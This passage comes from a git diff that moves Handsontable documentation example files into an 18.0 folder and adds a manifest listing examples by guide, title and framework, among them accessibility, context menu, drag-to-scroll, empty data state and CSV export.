runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__themes__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__themes__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__themes__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__themes__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__themes__javascript__exampleTheme.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__themes__javascript__exampleTheme.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__themes__javascript__exampleTheme.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__themes__javascript__exampleTheme.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__themes__javascript__exampleTheme.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__themes__javascript__exampleTheme.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__themes__javascript__exampleTheme.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__themes__javascript__exampleTheme.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__themes__react__exampleTheme.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__themes__react__exampleTheme.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__themes__react__exampleTheme.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__themes__react__exampleTheme.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__themes__vue__exampleTheme.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__themes__vue__exampleTheme.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__themes__vue__exampleTheme.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__themes__vue__exampleTheme.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/manifest.json b/runner/apps/authoring/public/docs-examples/18.0/manifest.json new file mode 100644 index 00000000..0c080aeb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/manifest.json @@ -0,0 +1,20268 @@ +{ + "bucket": "18.0", + "docsBranch": "prod-docs/18.0", + "generatedFrom": "handsontable/docs content/guides/** + content/recipes/**", + "hotVersion": "18.0.0", + "count": 1260, + "examples": [ + { + "bucket": "18.0", + "docsPath": "guides/accessibility/accessibility/angular/example1.ts", + "file": "guides__accessibility__accessibility__angular__example1.ts.json", + "breadcrumb": [ + "Accessibility" + ], + "guide": "guides/accessibility/accessibility/accessibility.md", + "guideTitle": "Accessibility", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/accessibility", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessibility/accessibility/javascript/example1.js", + "file": "guides__accessibility__accessibility__javascript__example1.js.json", + "breadcrumb": [ + "Accessibility" + ], + "guide": "guides/accessibility/accessibility/accessibility.md", + "guideTitle": "Accessibility", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/accessibility", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessibility/accessibility/javascript/example1.ts", + "file": "guides__accessibility__accessibility__javascript__example1.ts.json", + "breadcrumb": [ + "Accessibility" + ], + "guide": "guides/accessibility/accessibility/accessibility.md", + "guideTitle": "Accessibility", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/accessibility", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessibility/accessibility/react/example2.tsx", + "file": "guides__accessibility__accessibility__react__example2.tsx.json", + "breadcrumb": [ + "Accessibility" + ], + "guide": "guides/accessibility/accessibility/accessibility.md", + "guideTitle": "Accessibility", + "exampleId": "example2", + "exampleTitle": "Accessible data grid demo", + "docPermalink": "/accessibility", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessibility/accessibility/vue/example2.vue", + "file": "guides__accessibility__accessibility__vue__example2.vue.json", + "breadcrumb": [ + "Accessibility" + ], + "guide": "guides/accessibility/accessibility/accessibility.md", + "guideTitle": "Accessibility", + "exampleId": "example2", + "exampleTitle": "Accessible data grid demo", + "docPermalink": "/accessibility", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/angular/example1.ts", + "file": "guides__accessories-and-menus__context-menu__angular__example1.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/context-menu", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/javascript/example1.js", + "file": "guides__accessories-and-menus__context-menu__javascript__example1.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/context-menu", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/react/example1.tsx", + "file": "guides__accessories-and-menus__context-menu__react__example1.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/context-menu", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/javascript/example1.ts", + "file": "guides__accessories-and-menus__context-menu__javascript__example1.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/context-menu", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/vue/example1.vue", + "file": "guides__accessories-and-menus__context-menu__vue__example1.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/context-menu", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/angular/example2.ts", + "file": "guides__accessories-and-menus__context-menu__angular__example2.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example2", + "exampleTitle": "Context menu with selected options", + "docPermalink": "/context-menu", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/javascript/example2.js", + "file": "guides__accessories-and-menus__context-menu__javascript__example2.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example2", + "exampleTitle": "Context menu with selected options", + "docPermalink": "/context-menu", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/react/example2.tsx", + "file": "guides__accessories-and-menus__context-menu__react__example2.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example2", + "exampleTitle": "Context menu with selected options", + "docPermalink": "/context-menu", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/javascript/example2.ts", + "file": "guides__accessories-and-menus__context-menu__javascript__example2.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example2", + "exampleTitle": "Context menu with selected options", + "docPermalink": "/context-menu", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/vue/example2.vue", + "file": "guides__accessories-and-menus__context-menu__vue__example2.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example2", + "exampleTitle": "Context menu with selected options", + "docPermalink": "/context-menu", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/angular/example3.ts", + "file": "guides__accessories-and-menus__context-menu__angular__example3.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example3", + "exampleTitle": "Menu item configuration options", + "docPermalink": "/context-menu", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/javascript/example3.js", + "file": "guides__accessories-and-menus__context-menu__javascript__example3.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example3", + "exampleTitle": "Menu item configuration options", + "docPermalink": "/context-menu", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/react/example3.tsx", + "file": "guides__accessories-and-menus__context-menu__react__example3.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example3", + "exampleTitle": "Menu item configuration options", + "docPermalink": "/context-menu", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/javascript/example3.ts", + "file": "guides__accessories-and-menus__context-menu__javascript__example3.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example3", + "exampleTitle": "Menu item configuration options", + "docPermalink": "/context-menu", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/vue/example3.vue", + "file": "guides__accessories-and-menus__context-menu__vue__example3.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example3", + "exampleTitle": "Menu item configuration options", + "docPermalink": "/context-menu", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/react/example4.tsx", + "file": "guides__accessories-and-menus__context-menu__react__example4.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example4", + "exampleTitle": "Context menu with custom options", + "docPermalink": "/context-menu", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/context-menu/vue/example4.vue", + "file": "guides__accessories-and-menus__context-menu__vue__example4.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Context menu" + ], + "guide": "guides/accessories-and-menus/context-menu/context-menu.md", + "guideTitle": "Context menu", + "exampleId": "example4", + "exampleTitle": "Context menu with custom options", + "docPermalink": "/context-menu", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/drag-to-scroll/angular/example1.ts", + "file": "guides__accessories-and-menus__drag-to-scroll__angular__example1.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Drag to scroll" + ], + "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", + "guideTitle": "Drag to scroll", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/drag-to-scroll", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/drag-to-scroll/javascript/example1.js", + "file": "guides__accessories-and-menus__drag-to-scroll__javascript__example1.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Drag to scroll" + ], + "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", + "guideTitle": "Drag to scroll", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/drag-to-scroll", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/drag-to-scroll/react/example1.tsx", + "file": "guides__accessories-and-menus__drag-to-scroll__react__example1.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Drag to scroll" + ], + "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", + "guideTitle": "Drag to scroll", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/drag-to-scroll", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/drag-to-scroll/javascript/example1.ts", + "file": "guides__accessories-and-menus__drag-to-scroll__javascript__example1.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Drag to scroll" + ], + "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", + "guideTitle": "Drag to scroll", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/drag-to-scroll", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/drag-to-scroll/vue/example1.vue", + "file": "guides__accessories-and-menus__drag-to-scroll__vue__example1.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Drag to scroll" + ], + "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", + "guideTitle": "Drag to scroll", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/drag-to-scroll", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/drag-to-scroll/angular/example2.ts", + "file": "guides__accessories-and-menus__drag-to-scroll__angular__example2.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Drag to scroll" + ], + "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", + "guideTitle": "Drag to scroll", + "exampleId": "example2", + "exampleTitle": "Configure scroll speed", + "docPermalink": "/drag-to-scroll", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/drag-to-scroll/javascript/example2.js", + "file": "guides__accessories-and-menus__drag-to-scroll__javascript__example2.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Drag to scroll" + ], + "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", + "guideTitle": "Drag to scroll", + "exampleId": "example2", + "exampleTitle": "Configure scroll speed", + "docPermalink": "/drag-to-scroll", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/drag-to-scroll/react/example2.tsx", + "file": "guides__accessories-and-menus__drag-to-scroll__react__example2.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Drag to scroll" + ], + "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", + "guideTitle": "Drag to scroll", + "exampleId": "example2", + "exampleTitle": "Configure scroll speed", + "docPermalink": "/drag-to-scroll", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/drag-to-scroll/javascript/example2.ts", + "file": "guides__accessories-and-menus__drag-to-scroll__javascript__example2.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Drag to scroll" + ], + "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", + "guideTitle": "Drag to scroll", + "exampleId": "example2", + "exampleTitle": "Configure scroll speed", + "docPermalink": "/drag-to-scroll", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/drag-to-scroll/vue/example2.vue", + "file": "guides__accessories-and-menus__drag-to-scroll__vue__example2.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Drag to scroll" + ], + "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", + "guideTitle": "Drag to scroll", + "exampleId": "example2", + "exampleTitle": "Configure scroll speed", + "docPermalink": "/drag-to-scroll", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/angular/example1.ts", + "file": "guides__accessories-and-menus__empty-data-state__angular__example1.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/empty-data-state", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/javascript/example1.js", + "file": "guides__accessories-and-menus__empty-data-state__javascript__example1.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/empty-data-state", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/react/example1.tsx", + "file": "guides__accessories-and-menus__empty-data-state__react__example1.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/empty-data-state", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/javascript/example1.ts", + "file": "guides__accessories-and-menus__empty-data-state__javascript__example1.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/empty-data-state", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/vue/example1.vue", + "file": "guides__accessories-and-menus__empty-data-state__vue__example1.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/empty-data-state", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/angular/example2.ts", + "file": "guides__accessories-and-menus__empty-data-state__angular__example2.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example2", + "exampleTitle": "Custom configuration", + "docPermalink": "/empty-data-state", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/javascript/example2.js", + "file": "guides__accessories-and-menus__empty-data-state__javascript__example2.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example2", + "exampleTitle": "Custom configuration", + "docPermalink": "/empty-data-state", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/react/example2.tsx", + "file": "guides__accessories-and-menus__empty-data-state__react__example2.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example2", + "exampleTitle": "Custom configuration", + "docPermalink": "/empty-data-state", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/javascript/example2.ts", + "file": "guides__accessories-and-menus__empty-data-state__javascript__example2.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example2", + "exampleTitle": "Custom configuration", + "docPermalink": "/empty-data-state", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/vue/example2.vue", + "file": "guides__accessories-and-menus__empty-data-state__vue__example2.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example2", + "exampleTitle": "Custom configuration", + "docPermalink": "/empty-data-state", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/angular/example3.ts", + "file": "guides__accessories-and-menus__empty-data-state__angular__example3.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example3", + "exampleTitle": "Dynamic messages based on source", + "docPermalink": "/empty-data-state", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/javascript/example3.js", + "file": "guides__accessories-and-menus__empty-data-state__javascript__example3.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example3", + "exampleTitle": "Dynamic messages based on source", + "docPermalink": "/empty-data-state", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/react/example3.tsx", + "file": "guides__accessories-and-menus__empty-data-state__react__example3.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example3", + "exampleTitle": "Dynamic messages based on source", + "docPermalink": "/empty-data-state", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/javascript/example3.ts", + "file": "guides__accessories-and-menus__empty-data-state__javascript__example3.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example3", + "exampleTitle": "Dynamic messages based on source", + "docPermalink": "/empty-data-state", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/empty-data-state/vue/example3.vue", + "file": "guides__accessories-and-menus__empty-data-state__vue__example3.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Empty Data State" + ], + "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", + "guideTitle": "Empty Data State", + "exampleId": "example3", + "exampleTitle": "Dynamic messages based on source", + "docPermalink": "/empty-data-state", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/angular/example1.ts", + "file": "guides__accessories-and-menus__export-to-csv__angular__example1.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/export-to-csv", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example1.js", + "file": "guides__accessories-and-menus__export-to-csv__javascript__example1.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/export-to-csv", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/react/example1.tsx", + "file": "guides__accessories-and-menus__export-to-csv__react__example1.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/export-to-csv", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example1.ts", + "file": "guides__accessories-and-menus__export-to-csv__javascript__example1.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/export-to-csv", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/vue/example1.vue", + "file": "guides__accessories-and-menus__export-to-csv__vue__example1.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/export-to-csv", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/angular/example2.ts", + "file": "guides__accessories-and-menus__export-to-csv__angular__example2.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example2", + "exampleTitle": "Export as a JavaScript Blob object", + "docPermalink": "/export-to-csv", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example2.js", + "file": "guides__accessories-and-menus__export-to-csv__javascript__example2.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example2", + "exampleTitle": "Export as a JavaScript Blob object", + "docPermalink": "/export-to-csv", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/react/example2.tsx", + "file": "guides__accessories-and-menus__export-to-csv__react__example2.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example2", + 